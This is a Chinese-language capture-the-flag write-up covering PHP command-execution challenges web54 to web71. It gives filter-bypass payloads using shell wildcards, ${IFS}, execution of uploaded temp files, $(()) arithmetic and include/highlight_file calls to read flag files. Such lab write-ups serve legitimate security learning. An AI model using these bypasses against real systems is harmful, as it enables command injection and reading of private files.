web54
加强了对于各个命令的正则过滤,于是使用通配符。payload:?c=/bin/?at${IFS}f??????
web55
过滤了字母和空格以及空格的多种绕过,百分号也被绕过,用了Y4师傅的脚本,脚本原理是上传一个文件,在上传时会同时生成一个临时文件,通过使用特殊字符加通配符访问该文件获取flag
具体就是上传文件后存放于一个临时目录,命名规则为/tmp/phpxxxxxX,可以在本地新建一个html用来上传文件,然后抓包,然后payload:?c=. /???/???????[@-Z],.可以作为执行命令,?是通配符,在ascii码表中,大写字母是位于@和[之间的,所以可以利用[@-Z]来代替大写字母,然后对上传文件的内容进行更改,进行命令执行,例如ls、cat flag.php等都可以,然后就可以拿到flag。
web56
同上
web57
查看源码知道需要构造36,这里可以利用$(())与整数运算。payload:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))))))。我自己推了一个payload,但是不知道为啥不能运行,丢在这里师傅们看一下:$((~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(()))))),加url编码可以解决。
web58
改为post传参,但是没有任何过滤,直接highlight_file('flag.php');拿到flag
web59
同上
web60-65
同上
web66
上当了,这次的flag存放在了flag.txt里,所以访问flag.txt就可以看到flag,payload:?c=highlight_file('/flag.txt');
web67
同上
web68
这次估计是highlight_file和show_source都不能用了,于是使用include执行index.php查看源代码,发现字节太大,于是访问flag.php没有,于是访问flag.txt,拿到flag。
web69
同上
web70
禁用了更多函数,但是include和require仍然可以访问,。payload:c=include('/flag.txt');
web71
下载源码可以看到,使用了两个函数,一个是ob_get_contents();得到缓冲区的数据。另一个是ob_end_clean();会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。因此我们需要和之前的题一样,进行类似截断的操作,让后面无法运行,于是在后面加exit()进行类似截断的操作。payload:c=include('/flag.txt');exit();
版权属于:
noob
作品采用:
《
署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
》许可协议授权
评论 (0)